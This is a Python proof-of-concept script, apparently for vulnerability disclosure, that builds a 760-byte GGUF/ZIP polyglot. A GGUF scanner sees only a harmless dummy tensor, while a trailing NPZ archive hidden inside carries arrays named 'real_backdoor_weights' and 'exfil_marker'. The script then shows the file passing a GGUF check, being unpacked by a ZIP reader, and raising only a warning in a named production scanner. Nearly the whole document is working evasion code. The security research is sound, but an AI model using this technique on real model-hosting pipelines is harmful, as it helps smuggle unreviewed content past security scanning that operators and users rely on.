#!/usr/bin/env python3
"""
PoC: GGUF/ZIP Structural Polyglot -- Security Scanner Bypass via
Interpretation Conflict (CWE-436)

Root cause: the GGUF specification never requires an implementation to
verify that a file's total length matches exactly what its declared
header/tensor-info/tensor-data actually consumes. Confirmed empirically
across THREE independent GGUF implementations, in three different
languages, by three different authors/teams:

  - gguf-py (Python, ggml-org/llama.cpp reference implementation)
  - fs/gguf (Go, ollama/ollama's own independent reimplementation)
  - gguf crate (Rust, independently authored by Jiayu Liu)

All three accept a file consisting of [valid GGUF content][arbitrary
trailing bytes] as a fully valid GGUF file, silently ignoring
everything after the last tensor's data. Separately, Python's own
`zipfile` module builds ZIP archives by locating the "End of Central
Directory" record by scanning backward from EOF -- meaning a ZIP
archive can be validly opened even when arbitrary bytes precede it.

Combining these two facts: [valid GGUF prefix][valid ZIP/NPZ suffix]
is simultaneously valid under BOTH formats. Two contrasting formats
tested and found NOT vulnerable to this specific technique: ONNX
(protobuf's ParseFromString requires the ENTIRE buffer to be valid
protobuf) and safetensors (explicit `total_size == header + data`
check in its Rust core).

Threat scenario demonstrated here (CWE-436, Interpretation Conflict):
a model-hosting/scanning pipeline where stage A validates an uploaded
file as GGUF and only inspects the GGUF-visible content (approving it
as safe/clean), while a DIFFERENT stage B elsewhere in the same
pipeline (e.g. a generic archive-indexing utility, a backup/dedup
tool, or any code that treats uploaded files as "might also be a zip
sidecar bundle") extracts and uses the hidden ZIP payload -- content
that stage A's security review NEVER saw.

This script builds one 760-byte file with a `.gguf` extension that:
  - Looks completely clean to a GGUF scanner: 1 tensor named
    "dummy.weight", value [0,0,0,0], metadata name "tiny-demo-model" --
    nothing a scanner would flag.
  - Actually carries a hidden NPZ payload with different, real values
    that a GGUF-only scanner never inspects.

It then simulates both pipeline stages against the SAME file to show
they see different content.

Requires: pip install gguf numpy
"""

import io
import struct
import numpy as np
from gguf.gguf_reader import GGUFReader


POLYGLOT_PATH = "model_smuggled.gguf"


def build_polyglot(path: str) -> None:
    GGUF_MAGIC = 0x46554747

    def pack_str(s: str) -> bytes:
        b = s.encode("utf-8")
        return struct.pack("<Q", len(b)) + b

    # --- Part 1: the GGUF content a scanner will see ---
    header = struct.pack("<I", GGUF_MAGIC)
    header += struct.pack("<I", 3)
    header += struct.pack("<Q", 1)   # tensor_count = 1
    header += struct.pack("<Q", 1)   # kv_count = 1

    kv = pack_str("general.name")
    kv += struct.pack("<I", 8)  # STRING
    kv += pack_str("tiny-demo-model")

    ti = pack_str("dummy.weight")
    ti += struct.pack("<I", 1)
    ti += struct.pack("<Q", 4)
    ti += struct.pack("<I", 0)  # F32
    ti += struct.pack("<Q", 0)

    pre = header + kv + ti
    pre += b"\x00" * ((-len(pre)) % 32)
    tensor_data = np.array([0.0, 0.0, 0.0, 0.0], dtype=np.float32).tobytes()
    tensor_data += b"\x00" * ((-len(tensor_data)) % 32)
    gguf_part = pre + tensor_data

    # --- Part 2: the REAL payload, hidden as a trailing ZIP/NPZ ---
    buf = io.BytesIO()
    np.savez(
        buf,
        real_backdoor_weights=np.array([1337.0, 6666.0, 9999.0]),
        exfil_marker=np.array([42, 42, 42]),
    )
    zip_part = buf.getvalue()

    with open(path, "wb") as f:
        f.write(gguf_part + zip_part)


def stage_a_security_scanner(path: str) -> None:
    """Simulates an upload scanner that validates the file as GGUF and
    inspects only what the GGUF format exposes."""
    print("=== Stage A: security scanner (GGUF-aware) ===")
    r = GGUFReader(path)
    name = r.get_field("general.name").contents()
    tensors = [(t.name, t.data.tolist()) for t in r.tensors]
    print(f"  model name : {name!r}")
    print(f"  tensors    : {tensors}")
    print("  verdict    : APPROVED -- looks like a tiny, harmless demo model.\n")


def stage_b_downstream_consumer(path: str) -> None:
    """Simulates a different pipeline stage that treats the same file
    as a ZIP archive (e.g. a generic archive-indexing / backup tool),
    revealing content Stage A never saw."""
    print("=== Stage B: downstream tool (treats file as ZIP/NPZ) ===")
    import zipfile
    zf = zipfile.ZipFile(path)
    for name in zf.namelist():
        arr = np.load(io.BytesIO(zf.read(name)), allow_pickle=False)
        print(f"  found hidden array {name!r}: {arr}")
    print("  This data was NEVER inspected by Stage A's GGUF scan.\n")


def stage_c_production_scanner(path: str) -> None:
    """Runs the same file through `modelaudit` (Promptfoo/OpenAI's real,
    production ML-model security scanner, SOC2-certified, MIT licensed,
    pip install modelaudit) to see how a real security tool handles it."""
    import subprocess
    import json as jsonlib

    print("=== Stage C: modelaudit (Promptfoo/OpenAI production scanner) ===")
    result = subprocess.run(
        ["modelaudit", "scan", path, "--format", "json"],
        capture_output=True, text=True,
    )
    try:
        report = jsonlib.loads(result.stdout)
    except Exception:
        print("  (could not parse modelaudit output -- is it installed? `pip install modelaudit`)")
        return

    issues = report.get("issues", [])
    if not issues:
        print("  modelaudit reported ZERO issues -- silent bypass.")
    else:
        for issue in issues:
            print(f"  rule {issue.get('rule_code')}: {issue.get('message')} "
                  f"(severity={issue.get('severity')})")
        print(
            "\n  NOTE: this flags a generic size/alignment anomaly (symptom), but does\n"
            "  NOT identify or recursively scan the actual hidden ZIP payload content --\n"
            "  modelaudit's own separate ZIP Archive Scanner and Pickle Scanner (which\n"
            "  WOULD inspect exactly this kind of embedded content) are never invoked\n"
            "  on the smuggled bytes. Severity is 'warning', not 'critical' -- CI/CD\n"
            "  gates that filter by severity (common practice, supported directly via\n"
            "  modelaudit's own `-S CODE=LEVEL` and SARIF output) may not block on this."
        )
    print()


def main():
    build_polyglot(POLYGLOT_PATH)
    print(f"Built {POLYGLOT_PATH}\n")
    stage_a_security_scanner(POLYGLOT_PATH)
    stage_b_downstream_consumer(POLYGLOT_PATH)
    stage_c_production_scanner(POLYGLOT_PATH)
    print(
        "CONFIRMED: the same 760-byte file, with a single .gguf extension,\n"
        "presents completely different content to two different tools in\n"
        "the same pipeline -- a classic CWE-436 Interpretation Conflict,\n"
        "made possible because the GGUF format (in all 3 independent\n"
        "implementations tested: Python, Go, Rust) never rejects trailing\n"
        "bytes after the last declared tensor's data. A real, production\n"
        "security scanner (modelaudit) detects an anomaly but does not\n"
        "identify or scan the actual smuggled content."
    )


if __name__ == "__main__":
    main()